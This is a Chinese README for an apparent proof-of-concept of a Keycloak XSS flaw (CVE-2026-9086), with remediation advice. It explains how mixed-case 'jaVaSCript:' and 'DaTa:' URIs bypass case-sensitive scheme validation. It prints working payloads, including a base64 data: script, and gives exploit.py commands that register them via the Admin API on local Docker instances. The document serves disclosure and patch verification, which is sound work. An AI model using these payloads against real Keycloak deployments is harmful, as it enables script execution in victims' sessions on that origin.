本仓库是针对 Keycloak 客户端 URI 校验中存在的跨站脚本(XSS)漏洞 CVE-2026-9086 的概念验证(PoC)。
存在漏洞的 Keycloak 对客户端配置的 URI 中的 javascript: 和 data: 方案采用区分大小写的方式进行校验。因此,使用 jaVaSCript: 或 DaTa: 之类的混合大小写写法即可绕过禁用方案校验。由于浏览器会不区分大小写地解释 URI 方案,因此受害者点击精心构造的链接后,JavaScript 可能会在 Keycloak 源(origin)上执行。
该 PoC 使用 Docker 启动 Keycloak 26.6.3(存在漏洞的版本)和 26.6.4(已修复版本),并通过 Admin REST API 注册相同的混合大小写 URI。可以确认在存在漏洞的版本中注册成功,在已修复版本中被 HTTP 400 拒绝。
本 PoC 不会在浏览器中打开已注册的 URI,也不会执行 JavaScript。
本项目仅用于教育目的以及获得授权的安全验证。请勿用于对第三方 Keycloak 环境进行未授权验证。作者对本工具被误用、造成损害或违法行为不承担任何责任。
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client 权限,或对客户端注册端点的访问权限修复前的 DefaultClientValidationProvider 使用 String.equals() 比较禁用方案。
if (uri.getScheme() != null
&& (uri.getScheme().equals("data")
|| uri.getScheme().equals("javascript"))) {
// reject
}
由于 java.net.URI#getScheme() 会保留输入的大小写,因此以下 URI 不会匹配该比较,从而通过校验。
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
修复后的版本使用 equalsIgnoreCase()。
if (uri.getScheme() != null
&& (uri.getScheme().equalsIgnoreCase("data")
|| uri.getScheme().equalsIgnoreCase("javascript"))) {
// reject
}
使用 Docker Compose 启动存在漏洞的版本和已修复版本。
docker compose up -d
启动目标:
| URL | 版本 | 预期结果 |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | URI 注册成功(存在漏洞) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400(已修复) |
首次启动需要一些时间。可以使用以下命令确认状态。
docker compose logs -f
当两个日志中都显示 Listening on 后,按 Ctrl+C 退出日志显示。
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
预期输出:
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
脚本还会通过 Admin API 重新获取创建的客户端,并确认精心构造的 URI 已被保存。
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
预期输出:
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data: 方案指定 --scheme data 即可验证混合大小写写法的 DaTa: URI。
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
exploit.py 仅执行以下操作。
admin-cli 获取管理员访问令牌jaVaSCript: 或 DaTa: URI 设置为 redirectUris/admin/realms/master/clients 发送客户端创建请求不会启动浏览器、不会跳转到已注册的 URI、也不会执行 JavaScript。
请将 Keycloak 26.6 系列更新至 26.6.4 及以后,将 Red Hat build of Keycloak 26.4 系列更新至 26.4.13 及以后。
同时,请审计现有客户端的 URI 配置,删除所有使用 javascript: 或 data: 的值(无论大小写如何)。此外,请将 manage-client 权限和客户端注册端点的访问权限限制在必要的最小范围内。